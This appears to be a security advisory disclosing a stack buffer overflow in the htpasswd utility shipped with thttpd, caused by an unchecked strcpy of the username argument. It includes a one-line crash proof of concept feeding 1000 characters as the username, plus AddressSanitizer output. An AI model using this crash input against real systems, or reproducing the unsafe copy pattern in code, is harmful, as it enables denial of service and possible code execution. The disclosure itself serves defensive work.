...[ More ]

*Description:*
    A stack-based buffer overflow vulnerability exists in the htpasswd utility
    bundled with thttpd. The vulnerability occurs due to unsafe copying of a
    user-supplied command-line argument into a fixed-size stack buffer without
    proper bounds checking.Specifically, the program copies the username
    argument (argv[2]) into a local stack buffer using strcpy(). If an attacker
    supplies an overly long username, this results in a stack buffer overflow,
    leading to memory corruption and a process crash. Under certain conditions,
    this may be exploitable for arbitrary code execution.
    
    *Affected Component:*
    
       - File: extras/htpasswd.c
       - Function: main
       - Vulnerable line: strcpy(user, argv[2]);
    
    
    *Affected Versions:*
    
       - thttpd prior to latest release (all known versions shipping
       extras/htpasswd.c with this logic)
    
    
    *Impact: *
    
       - Denial of Service
       - potential arbitrary code execution
    
    
    *Vulnerability Details:*
    The vulnerable buffer is defined as:
    #define MAX_STRING_LEN 256
    char user[MAX_STRING_LEN];
    
    *Proof of Concept (PoC):*
    *Output/Payload:*
    # ./htpasswd -c passwdfile testuser
    Adding password for testuser.
    New password:
    Re-type new password:
    
    =================================================================
    ==173875==ERROR: LeakSanitizer: detected memory leaks
    
    Direct leak of 5 byte(s) in 1 object(s) allocated from:
        #0 0xffffaa4fa578 in malloc
    ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
        #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32
        #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122
        #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170
        #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl
    /libc_start_call_main.h:58
        #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360
        #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
    (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)
    
    SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).
    root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF'
    print("A" * 1000)
    EOF
    )
    =================================================================
    ==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address
    0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0
    WRITE of size 1001 at 0xfbffa1000120 thread T0
        #0 0xffffa3214fec in strcpy
    ../../../../src/libsanitizer/asan/asan_interceptors.cpp:568
        #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187
        #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl
    /libc_start_call_main.h:58
        #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360
        #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
    (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)
    
    Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in
    frame
        #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>